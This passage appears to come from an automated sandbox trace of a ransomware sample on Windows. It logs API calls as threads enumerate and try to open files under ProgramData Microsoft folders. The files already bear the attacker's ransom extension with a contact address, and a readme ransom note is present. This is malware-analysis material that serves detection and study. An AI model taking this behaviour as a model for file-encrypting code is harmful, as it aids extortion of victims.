Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0175.041] wcscat (in: _Dest=0x2fa7478, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" [0175.041] wcscat (in: _Dest=0x2fa7478, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0175.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa7478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0175.501] FindNextFileW (in: hFindFile=0x3044ee8, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc76a84, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.501] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.502] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.502] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305c8f0 [0175.502] wcscpy (in: _Dest=0x305c8f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0175.502] wcscat (in: _Dest=0x305c8f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\" [0175.502] wcscat (in: _Dest=0x305c8f0, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305c8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0175.502] FindNextFileW (in: hFindFile=0x3044ee8, lpFindFileData=0x3022250 | out: lpFindFileData=0x3022250*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc76a84, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.502] FindClose (in: hFindFile=0x3044ee8 | out: hFindFile=0x3044ee8) returned 1 [0175.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022250) returned 1 [0175.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83cf8) returned 1 [0175.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055a90) returned 1 [0175.503] RtlExitUserThread (Status=0x0) Thread: id = 2368 os_tid = 0xf60 [0175.041] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.042] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.042] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.042] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.042] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96108) returned 1 [0175.042] RtlExitUserThread (Status=0x0) Thread: id = 2369 os_tid = 0xf64 [0175.043] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.044] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.044] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.044] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.045] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ded0) returned 1 [0175.045] RtlExitUserThread (Status=0x0) Thread: id = 2370 os_tid = 0xf68 [0175.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83db0 [0175.046] wcscpy (in: _Dest=0x2f83db0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0175.046] wcscat (in: _Dest=0x2f83db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" [0175.046] wcscat (in: _Dest=0x2f83db0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*" [0175.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0175.046] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc9cc66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc9cc66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044f28 [0175.046] wcscmp (_String1=".", _String2=".") returned 0 [0175.046] FindNextFileW (in: hFindFile=0x3044f28, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc9cc66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc9cc66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.046] wcscmp (_String1="..", _String2=".") returned 1 [0175.046] wcscmp (_String1="..", _String2="..") returned 0 [0175.046] FindNextFileW (in: hFindFile=0x3044f28, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bc9cc66, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bc9cc66, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc9cc66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.046] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.046] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.046] FindNextFileW (in: hFindFile=0x3044f28, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c999f21, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c999f21, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0175.046] wcscmp (_String1="RunTime", _String2=".") returned 1 [0175.046] wcscmp (_String1="RunTime", _String2="..") returned 1 [0175.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x2fa7540 [0175.046] wcscpy (in: _Dest=0x2fa7540, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0175.046] wcscat (in: _Dest=0x2fa7540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" [0175.047] wcscat (in: _Dest=0x2fa7540, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" [0175.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa7540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0175.499] FindNextFileW (in: hFindFile=0x3044f28, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc9cc66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.499] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.499] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.499] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305c7d8 [0175.499] wcscpy (in: _Dest=0x305c7d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov" [0175.499] wcscat (in: _Dest=0x305c7d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" [0175.499] wcscat (in: _Dest=0x305c7d8, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305c7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0175.500] FindNextFileW (in: hFindFile=0x3044f28, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bc9cc66, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.500] FindClose (in: hFindFile=0x3044f28 | out: hFindFile=0x3044f28) returned 1 [0175.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0175.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83db0) returned 1 [0175.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055c00) returned 1 [0175.500] RtlExitUserThread (Status=0x0) Thread: id = 2371 os_tid = 0xf6c [0175.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30130f8 [0175.047] wcscpy (in: _Dest=0x30130f8, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" [0175.047] wcscat (in: _Dest=0x30130f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\" [0175.047] wcscat (in: _Dest=0x30130f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*" [0175.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0175.047] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044f68 [0175.048] wcscmp (_String1=".", _String2=".") returned 0 [0175.048] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.048] wcscmp (_String1="..", _String2=".") returned 1 [0175.048] wcscmp (_String1="..", _String2="..") returned 0 [0175.048] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0175.048] wcscmp (_String1="Windows", _String2=".") returned 1 [0175.048] wcscmp (_String1="Windows", _String2="..") returned 1 [0175.048] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0175.048] FindClose (in: hFindFile=0x3044f68 | out: hFindFile=0x3044f68) returned 1 [0175.048] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0175.048] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30130f8) returned 1 [0175.048] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30135a8) returned 1 [0175.048] RtlExitUserThread (Status=0x0) Thread: id = 2372 os_tid = 0xf70 [0175.049] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f878f0 [0175.049] wcscpy (in: _Dest=0x2f878f0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" [0175.050] wcscat (in: _Dest=0x2f878f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\" [0175.050] wcscat (in: _Dest=0x2f878f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*" [0175.050] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0175.050] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0175.052] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0175.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f878f0) returned 1 [0175.053] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a28) returned 1 [0175.053] RtlExitUserThread (Status=0x0) Thread: id = 2373 os_tid = 0xf74 [0175.054] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd")) returned 0x20 [0175.055] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", dwFileAttributes=0x20) returned 0 [0175.055] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.055] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd", dwFileAttributes=0x20) returned 0 [0175.055] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fd01d8) returned 1 [0175.055] RtlExitUserThread (Status=0x0) Thread: id = 2374 os_tid = 0xf78 [0175.056] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd")) returned 0x20 [0175.056] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", dwFileAttributes=0x20) returned 0 [0175.056] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.057] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd", dwFileAttributes=0x20) returned 0 [0175.057] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa32b8) returned 1 [0175.057] RtlExitUserThread (Status=0x0) Thread: id = 2375 os_tid = 0xf7c [0175.058] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd")) returned 0x20 [0175.058] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", dwFileAttributes=0x20) returned 0 [0175.058] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013a.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.058] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013A.xsd", dwFileAttributes=0x20) returned 0 [0175.058] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feda60) returned 1 [0175.058] RtlExitUserThread (Status=0x0) Thread: id = 2376 os_tid = 0xf80 [0175.059] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml")) returned 0x20 [0175.061] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", dwFileAttributes=0x20) returned 0 [0175.061] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.061] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", dwFileAttributes=0x20) returned 0 [0175.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fd0140) returned 1 [0175.061] RtlExitUserThread (Status=0x0) Thread: id = 2377 os_tid = 0xf84 [0175.062] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml")) returned 0x20 [0175.063] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", dwFileAttributes=0x20) returned 0 [0175.063] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 